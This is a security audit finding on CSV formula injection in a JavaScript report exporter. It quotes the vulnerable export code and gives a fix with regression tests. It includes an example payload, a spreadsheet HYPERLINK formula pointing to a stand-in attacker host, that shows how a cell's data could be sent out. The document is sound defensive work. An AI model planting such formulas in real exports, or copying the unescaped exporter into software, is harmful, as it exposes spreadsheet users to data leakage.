T09 · Insecure Skill Coding Practices
Warning
- Location
- src/index.js:278
- Finding
- CSV Formula Injection in Library Report Export<![CDATA[ ## Vulnerability Details **File Location**: `src/index.js:278-294` **Vulnerability Type**: CSV formula injection and improper CSV escaping **Risk Level**: Medium ### Vulnerable Code ```javascript _exportCsv(results) { const headers = ['标题', '类型', '分类', '紧急度', '置信度', '标签', '建议']; const lines = [headers.join(',')]; for (const result of results) { const s = result.summary; const row = [ `"${s.title}"`, s.type, s.category, s.urgencyScore, result.classification.confidence.toFixed(2), `"${s.keyTags.join(';')}"`, `"${s.action}"`, ]; lines.push(row.join(',')); } return lines.join('\n'); } ``` ### Technical Analysis The CSV exporter writes `s.title` directly into a quoted CSV cell. The title originates from user-controlled content: the content analyzer uses the first nonempty input line as the title. CSV quoting does not prevent spreadsheet applications from interpreting a cell beginning with `=`, `+`, `-`, or `@` as a formula. For example, an input title containing a formula such as `=HYPERLINK("https://attacker.example/collect","Open")` remains a formula when the exported report is opened in compatible spreadsheet software. Depending on the spreadsheet client and its security configuration, more dangerous formulas or legacy external-command mechanisms may be available. The implementation also fails to escape embedded double quotes by replacing `"` with `""`. An attacker can therefore produce malformed CSV structure and potentially alter how subsequent content is interpreted. ### Attack Path 1. An attacker supplies a note or batch item whose first nonempty line begins with a spreadsheet formula. 2. `ContentAnalyzer` stores that line in `metadata.title`. 3. `_generateSummary` propagates the value to `summary.title`. 4. A user calls `exportReport(results, 'csv')`. 5. `_exportCsv` places the title into the CSV without formula neutralization or proper quote escaping. 6. The victim opens ...[truncated 1015 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Create a single CSV-escaping function and apply it to every exported string cell. The function should: 1. Convert null and undefined values safely. 2. Prefix values beginning with `=`, `+`, `-`, `@`, tab, or carriage return with an apostrophe. 3. Escape every embedded double quote as two double quotes. 4. Wrap the resulting value in double quotes. 5. Be shared by the library and CLI exporters to prevent inconsistent fixes. Example: ```javascript function escapeCsv(value) { let text = String(value ?? ''); if (/^[=+\-@\t\r]/.test(text)) { text = `'${text}`; } return `"${text.replace(/"/g, '""')}"`; } ``` Use it consistently: ```javascript const row = [ escapeCsv(s.title), escapeCsv(s.type), escapeCsv(s.category), s.urgencyScore, result.classification.confidence.toFixed(2), escapeCsv(s.keyTags.join(';')), escapeCsv(s.action), ]; ``` Add regression tests covering: - Titles beginning with each recognized formula prefix. - Titles containing commas. - Titles containing double quotes. - Titles containing carriage returns or line breaks. - Normal Unicode and ASCII titles. ]]>
